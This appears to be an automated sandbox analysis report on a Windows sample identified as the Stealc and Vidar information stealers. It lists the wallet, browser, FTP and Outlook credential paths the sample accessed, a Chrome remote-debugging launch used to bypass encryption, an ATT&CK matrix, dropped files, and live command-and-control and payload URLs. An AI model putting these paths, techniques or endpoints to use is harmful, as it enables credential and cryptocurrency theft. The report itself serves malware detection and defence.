Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2080, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1763800423.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219111350.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2218670347.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2080, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2080, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	651 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\DocumentsDHCFIDAKJD.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\DocumentsDHCFIDAKJD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe5062384z	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dll?Z	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe3	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpkK	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe50623	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3b3g	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exesr	0%	Avira URL Cloud	safe
http://31.41.244.11/ows	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeAr	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpXm	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeve	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3b	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exep	0%	Avira URL Cloud	safe
http://31.41.244.11/8	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpVm#O	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe8478001	0%	Avira URL Cloud	safe
http://185.215.113.206/Kc	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exephp/	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3b31	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpPc	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe17-24	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/freebl3.dlla	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	216.58.208.228	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.phpV	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpZ	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe50623	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpa	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpf	file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpkK	skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe5062384z	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1970449838.000000001D22D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	false		high
http://31.41.244.11/files/random.exe3	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpXm	file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206Local	file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	false		high
http://31.41.244.11/	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe3b3g	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dll?Z	file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php6	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpy	file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/ows	skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php~	file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	FBFCFIEBKEGHIDGCAFBF.0.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	false		high
http://31.41.244.11/files/random.exeAr	skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
